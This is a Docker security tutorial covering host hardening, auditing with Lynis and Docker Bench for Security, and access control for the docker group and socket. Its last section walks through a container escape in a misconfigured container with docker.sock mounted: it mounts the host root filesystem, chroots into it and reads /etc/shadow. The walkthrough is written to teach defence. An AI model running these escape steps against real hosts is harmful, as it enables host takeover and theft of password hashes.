Docker Security – Secure Configuration (Part 1)

15 May 2024 15 minutes Author: D2-R2

A step-by-step guide to hardening Docker security is provided, covering important recommendations for monitoring and using resources to identify vulnerabilities in the system. This is the first part of an article about Docker security.

Let’s start

We assume that you are familiar with the basics of how Docker works. This means you need to understand its principles, know the difference between a container and an image, and know how to load an image from a repository using the docker pull command and how to run a container using the docker run command. It is also important that you have an idea about the use and application of Dockerfile.

If you do not already have this knowledge, this text may not be suitable for you. We recommend spending some time familiarizing yourself with the theoretical and practical aspects of Docker. This can be done, for example, with the help of free materials available on the YouTube platform. The materials are recorded in English, but there is an option to turn on subtitle translation. Sometimes it’s better than nothing!

Secure configuration

A secure configuration is a set of settings that minimizes the risk of incidents with the software you use. It is also important to make improvements where possible to improve security compared to the default configuration received out of the box.

Figure 1. Architecture of the Docker platform (own work based on https://docs.docker.com/get-started/overview/ )

In the context of Docker, we will focus on securing key elements of the platform, as shown in Figure 1:

  • A Docker host is the machine (system) on which Docker runs containers. The security of containers is closely related to the security level of the Docker Host. It is recommended that this machine does not perform any additional roles, which helps minimize the attack surface. It is also beneficial to use images of operating systems without unnecessary packages (so-called minimal images),

  • Docker Daemon is a service responsible for managing Docker containers. It monitors and manages images, containers, networks, and volumes. It also makes it easier to communicate with other Docker daemons. Typically, the Docker Daemon runs on the same machine as the Docker Host, but this is not the rule, as Docker allows you to run them on separate machines,

  • Images and Containers – Docker images are templates that contain the software and configuration needed to run applications. Docker containers are running instances of images. They can be compared to virtual machines, but they are lighter (they do not contain a system layer). A container contains everything needed to run an application, ensuring compatibility across environments and platforms.

The points presented in the later part of the article will help in the implementation of configuration improvements, protection against errors and vulnerabilities in the specified areas.

Before you start implementing security enhancement recommendations, be sure to test their effectiveness in a test environment. It is not recommended to make any changes to the production environment without first checking!

Keep in mind that not all recommendations will be suitable for your particular case. Do not treat the following list as a set of instructions that must be followed in full. Although generally the more these recommendations are implemented the better, this is not a mandatory requirement.

Docker host

The security of the entire Docker environment depends heavily on the security of the Docker host. This is the main machine where containers are run, local copies of downloaded images are stored, and where the Docker daemon runs by default, assuming the daemon is running locally and not on a remote machine. This aspect will be discussed in more detail in the corresponding section.

It may seem like a no-brainer, but the Docker Security Enhancement article will start with standard operating system security enhancements.

Working environment

When creating the article and preparing the examples, we relied on a Docker environment running on Ubuntu Server 22.04 LTS. This is not a random choice – in many places the creators of Docker recommend using this particular distribution, or rather the system kernel that comes with Ubuntu (Fig. 2).

Figure 2. Recommendations for using the system on Docker Host.

It is worth noting that supporting distributions such as Ubuntu or Fedora provide “unofficial” versions of the installation packages as defined by the Docker team. An example would be the docker.io package, which is often mentioned in various guides. It can be installed using a simple apt command (Listing 1).

sudo apt update && sudo apt install -y docker.io

Listing 1. Installing the docker.io package.

However, according to the recommendations in the Docker documentation, we suggest using the official installation package. The installation process is detailed in the documentation, and in Listing 2 you’ll find instructions that are current at the time of this writing. To do this, you need to execute several commands in the console (Fig. 3).

sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyring
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg

echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

Listing 2. Installing Docker from the official repository.

Double-clicking any code block copies its contents to the clipboard!

Figure 3. Installing Docker from the official repository.

dockerdTo verify that the Docker daemon ( ) is correctly installed and running, you can use the docker -v and/or service docker status commands (Figure 4).

Figure 4. Verifying that Docker is installed correctly.

Configuration audit

As mentioned earlier, the security of a Docker host is highly dependent on the configuration of the operating system on which it is installed. The term “system” here refers to the operating system running on the selected server, such as Ubuntu, Debian, RHEL, etc. Thus, we focus on typical Linux system security, taking into account the specific interaction between the Docker host and the Docker Daemon.

Lynis

I recommend securing the system running the Docker Host function by following the instructions provided by the Lynis tool. Lynis is a free tool (script), also available for commercial use, licensed under GPLv3, that runs on the machine being audited. It is compatible with many popular systems, including those based on Linux, macOS, and BSD kernels.

Importantly, Lynis includes built-in functions that – in addition to analyzing the operating system configuration – also take into account parameters specific to the systems running the Docker Daemon. Details about this can be found in the Lynis repository in a file called include/tests_containers.

The Lynis tool is available in the repositories of popular distributions, including Ubuntu, so you can install it using the sudo apt install lynis command (Figure 5).

Figure 5. Installing the Lynis tool.

The package repository of the selected distribution usually contains a version of the software that is one or two revisions older than the one available in the official GitHub repository. If you want to use the latest version, you can do so by running the code directly from the GitHub repository (Listing 3).

git clone --quiet https://github.com/CISOfy/lynis
cd lynis
./lynis audit system

Listing 3. Downloading and running Lynis directly from the repository.

Once downloaded, Lynis is ready to use.

Figure 6. Running the first scan with the Lynis tool.

Lynis can be run with non-privileged user permissions, but some tests may be incomplete or provide inaccurate information (Figure 6). It is recommended to run Lynis with administrator rights using the sudo command (Listing 4).

sudo lynis audit system

Listing 4. Starting Lynis with sudo.

It should be noted that Lynis, in addition to identifying areas that need improvement, also provides advice on how to resolve each identified problem. For example, after analyzing the system, the program provides specific recommendations for configuration changes, as well as links to documentation where certain topics are discussed in more detail (Fig. 7).

Figure 7. Recommendations provided by Lynis.

 

Figure 8. Sample recommendation.

Docker bench for security

Another tool you can use to secure your Docker Host is Docker Bench for Security. It is based on CIS Docker Benchmark v1.6.0. As befits a container solution, Docker Bench for Security can be run as a container itself (Listing 5).

docker run -it --net host --pid host --userns host --cap-add audit_control \
    -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
    -v /var/lib:/var/lib \
    -v /var/run/docker.sock:/var/run/docker.sock \
    -v /usr/lib/systemd:/usr/lib/systemd \
    -v /etc:/etc --label docker_bench_security \
    docker/docker-bench-security

Listing 5. Downloading and running Docker Bench for Security.

After a few seconds, the configuration audit process will begin (Figure 9).

Figure 9. Starting the Docker Bench for Security container and performing a scan.

Figure 10 presents additional results and recommendations obtained by Docker Bench for Security.

Figure 10. Additional results and recommendations provided by Docker Bench for Security.

Some points like 2.1 and 2.8 (numbering of Docker Bench for Security results) will be discussed in later parts of the text related to privilege escalation, Linux namespace and container isolation. There we will show how to practically change the configuration so that the next audit is completed successfully.

In summary, the first step we need to take is to secure the configuration of the system acting as the Docker host and the Docker daemon, of course, within our capabilities. The instructions provided by Lynis and Docker Bench for Security will be very helpful.

Docker Daemon

After implementing Lynis and Docker Bench for Security recommendations, we can be sure that the security level of our Docker host has improved significantly. Now it’s time to focus on securing the Docker Daemon.

Docker Daemon access control

We have already installed Docker on our system. So, let’s see if we can display the running containers using the docker ps command (Figure 11) or run our first container ( docker run ubuntu:22.04 ).

Figure 11. Trying to run the docker ps command.

Unfortunately, we’re seeing an error because the Docker client doesn’t have access to the Docker Daemon. The reason for this is that only users who are administrators (root) and those who belong to the docker group have permissions on this socket (ls -la /var/run/docker.sock; Figure 12).

Figure 12. Checking Docker Daemon socket access.

However, our user Reynard is not a member of this group by default. We can verify this with the groups command (Figure 13)

Figure 13. Checking user membership in groups.

To add a user to the docker group, you need to run the command sudo usermod -aG docker reynard. From now on, the user reynard will also become a member of the dockergroup and gain access to the Docker Daemon (Figure 14).

Figure 14. Adding the user reynard to the docker group.

To check the current list of users that belong to this group, you can use the grep docker /etc/group command. The members docker command is an alternative solution. In our system, only users named reynardt belong to the group (Fig. 15).testdocker

Figure 15. Verifying the users assigned to the Docker group.

Limiting the number of users who have access to the Docker Daemon is an important part of the process of making it more secure. Remove users from the dockergroup if they don’t need this permission.

While adding a user to a Docker group makes it easier to use Docker by avoiding constant sudo requests, it is important to consider the security implications. Giving a user access to the Docker daemon, especially when running as root, greatly increases security risks if the user account is compromised. This access effectively grants root-level privileges via Docker. A recommended mitigation strategy is to create a dedicated user exclusively for Docker jobs, minimizing potential security breaches. This account should not be used for non-Docker day-to-day activities. This approach is consistent with best practices that advocate the principle of least privilege, giving users only the access they need to perform their tasks.

Docker.sock protection

When you use Docker CLI commands, such as or docker , the Docker client (Docker CLI) by default communicates with the Docker daemon via a socket to issue commands. Each Docker client command calls the corresponding Docker daemon’s REST API via .docker rundocker ps/var/run/docker.sock

The file /var/run/docker.socke is a UNIX socket that provides communication with the Docker daemon. This problem is important from a security point of view. Control over this socket means control over the Docker daemon, which allows you to manage containers, images, and other Docker elements. Access to the /var/run/docker.socks socket should therefore be strictly controlled. Permissions to use this socket should only be granted to people and programs that really need it.

Using the docker.sockDocker REST API, you have full control over the Docker Daemon. An example is getting a list of running containers (Figure 16, Listing 6).

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq .

Listing 6. Getting a list of running containers.

Figure 16. Getting a list of containers.
docker ps
# In the curl command, you need to replace the container ID with the correct one.
curl --unix-socket /var/run/docker.sock -XPOST http://localhost/containers/84167e82e8cf83d03d8981f80c36a89b2f9d1575cc4ae602be37b30b6711d34f/stop
docker ps

Listing 7. Stopping the container.

Figure 17. Stopping a working container.

As you can see, accessing docker.sock gives you full control over the Docker Daemon. You might ask why this is so important when we already have access to a Docker host. The problem becomes serious when your containers access docker.sock for some reason. Unfortunately, in production environments we often come across designs like those shown in Listings 8 and 9.

# THIS IS NOT RECOMMENDED!
docker run -it -v /var/run/docker.sock:/var/run/docker.sock [...]

Listing 8.  An example of an unsafe configuration.

# THIS IS NOT RECOMMENDED!
docker run -it -v /:/mnt/ [...]

Listing 9. An example of a dangerous configuration.

The first command, docker run -it -v /var/run/docker.sock:/var/run/docker.sock, starts a new Docker container. Additionally, this command mounts a Docker socket from the host to the container, allowing you to manage the Docker daemon running on the host through that container. The second command, docker run -it -v /:/mnt/ mounts the entire host file system to the /mnt/ directory in the container, giving the container full access to the host file system.

Both teams are huge security risks. If a security vulnerability is discovered in an application running in a container and a successful attempt is made to gain access to the container’s shell, an attacker will have a clear path to control the Docker host. You could even go further. With the ability to configure the environment via the REST API using docker.sock, an attack does not always have to involve remote code execution on the server. Sometimes exploiting a vulnerability like SSRF is enough.

Now let’s say we’re using a poorly configured Docker container (Listing 10).

docker run -it -v /var/run/docker.sock:/var/run/docker.sock --rm ubuntu:22.04 bash

Listing 10. Running a misconfigured container.

In this situation, someone (an attacker) may be able to execute commands in the context of the container. This is not a particularly impossible scenario. All it takes is for someone to discover a vulnerability that allows a so-called web shell to be loaded. For simplicity’s sake, let’s assume that we’re running the attack using the standard console (Listing 11).

apt-get update > /dev/null
apt-get install -y curl > /dev/null
curl -fsSL https://get.docker.com -o install-docker.sh
sh install-docker.sh > /dev/null 2>&1
docker -v

Listing 11. An attempt to attack a container.

Figure 18. Starting the container.

It is important that Docker immediately connects to a standard socket (docker ps; Fig. 19):

Figure 19. Running the docker ps command.

Let’s now try to take control of the Docker host (Listing 12, Figure 20).

# Commands to be executed in the context of a vulnerable container (e.g., using RCE vulnerability or a webshell script).
docker run -it -v /:/mnt ubuntu:22.04 bash
ls /mnt
chroot /mnt
grep reynard /etc/shadow

Listing 12. Trying to take control of a container.

Figure 20. An attempt to elevate privileges.

This command docker run -it -v /:/mnt ubuntu:22.04 bash starts a new Docker container based on the Ubuntu 22.04 image and mounts the entire host file system to the container’s /mnt location and opens an interactive bash shell. While in this shell, typing ls /mnt will display the contents of the host’s main directory. The chroot /mnt command will then change the container’s home directory to /mnt, effectively moving the container’s context to the Docker host’s file system. Finally, the grep reynard /etc/shadow command will allow you to search for an entry associated with the user reynard in the host’s /etc/shadow file that stores encrypted user passwords. Being able to read this file confirms that we have elevated permissions on the Docker host. In conclusion, we managed to take control of Docker Host!

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.